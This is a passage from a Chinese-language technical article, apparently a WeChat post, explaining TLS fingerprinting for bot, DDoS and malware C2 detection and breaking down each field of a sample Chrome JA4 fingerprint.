Arial;"><span leaf="">引入人类可读的标识符（如</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> t13d1516h2</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">）</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 16pt;font-family: Arial, sans-serif;"><span leaf="">1.2 TLS </span></span></b><span style="mso-bookmark:heading_2;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 16pt;"><span leaf="">指纹的常见应用场景</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹可以在多种网络流量分析场景下使用，以下是一些最常见的使用案例：</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf="">1.</span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">爬虫检测</span></span></b><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">：</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹识别通常用于检测和缓解爬虫程序流量。通过识别与已知</span></span><span lang="EN-US"><span lang="EN-US" style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;color:#3370FF;text-decoration:none;text-underline:
none;"><span lang="EN-US"><span leaf="">机器人</span></span></span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">或恶意客户端关联的唯一指纹，组织可以阻止或质询可疑连接。这对于防止撞库、抓取或其他试图模仿合法用户流量的自动攻击特别有用。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf="">2.</span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">DDoS</span></span></b><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">缓解</span></span></b><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">：在</span></span><span lang="EN-US"><span lang="EN-US" style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;color:#3370FF;text-decoration:none;text-underline:none;"><span lang="EN-US"><span leaf="">分布式拒绝服务</span></span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;color:#3370FF;text-decoration:none;text-underline:none;"><span leaf=""><br/></span></span><span lang="EN-US" style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;color:#3370FF;text-decoration:none;text-underline:none;"><span lang="EN-US"><span leaf="">（</span></span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;color:#3370FF;text-decoration:none;text-underline:none;"><span leaf="">DDoS</span></span><span lang="EN-US" style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;color:#3370FF;text-decoration:none;text-underline:none;"><span lang="EN-US"><span leaf="">）</span></span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;color:#3370FF;text-decoration:none;text-underline:none;"><span leaf=""><br/></span></span><span lang="EN-US" style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;color:#3370FF;text-decoration:none;text-underline:none;"><span lang="EN-US"><span leaf="">攻击期间，</span></span></span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹识别可以帮助识别恶意流量模式。攻击者经常使用具有特定、可识别指纹的客户端来压垮目标服务器。通过识别和阻止这些指纹，组织可以减少其服务器上的负载并保持服务可用性。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf="">3.</span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">威胁行为者的检测与分类</span></span></b><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">：许多恶意软件家族使用独特的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">配置进行</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> C2 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">通信（比如常用的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Cobalt Strike </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">和</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Metasploit C2</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">），如果其指纹被编入目录，就可以第一时间进行标记。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 18pt;font-family: Arial, sans-serif;"><span leaf="">2 </span></span></b><span style="mso-bookmark:
heading_3;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 18pt;"><span leaf="">技术原理</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 16pt;font-family: Arial, sans-serif;"><span leaf="">2.1 JA4 </span></span></b><span style="mso-bookmark:heading_4;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 16pt;"><span leaf="">指纹结构解析</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://github.com/FoxIO-LLC/JA4/blob/main/technical_details/JA4.png" target="_blank">https://github.com/FoxIO-LLC/JA4/blob/main/technical_details/JA4.png</a></span></span><span lang="EN-US"><o:p></o:p></span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000326" data-ratio="0.6376811594202898" data-s="300,640" type="block" data-type="png" data-w="828" src="https://wechat2rss.xlab.app/img-proxy/?k=5c02c686&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKfQQ7vPNnP9p3iaDWoc27Djf5Zv027QkWSZUOtiaH53icgRavCicI9gtXUOD3auGLGJEyq7Yhe4CmH3tA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-no-proof:yes;"><span leaf=""><br/></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">以典型</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Chrome </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">浏览器的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> t13d1516h2_8daaf6152771_02713d6af862 (TCP) </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">为例：</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">字段详细说明：</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">协议标识符</span></span></b><b style="mso-bidi-font-weight:
normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:
DengXian;"><span leaf=""> (t)</span></span></b><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">: </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">表示当前使用的是</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS over TCP </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">协议。如果是</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> QUIC </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">协议，则会显示为</span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:
DengXian;"><span leaf=""> </span></span><span lang="EN-US" style="font-family:Consolas;mso-fareast-font-family:
Consolas;color:black;mso-color-alt:windowtext;background:#EFF0F1;"><span leaf="">q</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS</span></span></b><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">版本</span></span></b><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> (13)</span></span></b><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">:</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">表示客户端支持的最高</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">版本为</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS 1.3</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">SNI</span></span></b><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">标识</span></span></b><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> (d)</span></span></b><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">:</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">表示客户端在</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">握手时提供了</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Server Name Indication (SNI) </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">信息，即指定了访问的域名。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">密码套件数量</span></span></b><b style="mso-bidi-font-weight:
normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:
DengXian;"><span leaf=""> (15)</span></span></b><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">: </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">表示客户端在</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> ClientHello </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">消息中提供了</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> 15 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">个有效的密码套件（排除</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> GREASE </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">值）。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">扩展数量</span></span></b><b style="mso-bidi-font-weight:
normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:
DengXian;"><span leaf=""> (16)</span></span></b><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">: </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">表示客户端在</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> ClientHello </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">消息中提供了</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> 16 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">个有效的扩展（排除</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> GREASE </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">值）。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">ALPN</span></span></b><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">协议</span></span></b><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> (h2)</span></span></b><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">:</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">表示客户端通过</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Application-Layer Protocol Negotiation (ALPN) </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">协商选择了</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> HTTP/2 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">协议。</span></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf=""><br/></span><span style="mso-list:Ignore;"><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">密码套件哈希</span></span></b><b style="mso-bidi-font-weight:
normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:
DengXian;"><span leaf=""> (8daaf6152771)</span></span></b><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">: </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">对客户端提供的密码套件列表进行排序后，计算其</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> SHA256 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">哈希值并取前</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> 6 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">字节作为唯一标识。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span></span></span><b style="mso-bidi-font-weight:normal;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">扩展哈希</span></span></b><b style="mso-bidi-font-weight:
normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:
DengXian;"><span leaf=""> (02713d6af862)</span></span></b><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">: </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">对客户端提供的扩展列表和签名算法列表进行排序后，计算其</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> SHA256 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">哈希值并取前</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> 6 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">字节作为唯一标识。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">这种结构化设计使得</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">既保持了机器处理的效率（哈希值快速匹配），又具备人工分析的可读性（字段显式表达关键特征）。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">此外，在网络流量分析过程中，实际上分析师可以自由组合</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4_a JA4_b JA4_c </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">这些子模块进行分析。比如，</span></span><span lang="EN-US"><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;color:#3370FF;text-decoration:none;text-underline:
none;"><span leaf="">GreyNoise</span></span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> </span></span><span style="mso-ascii-font-family:
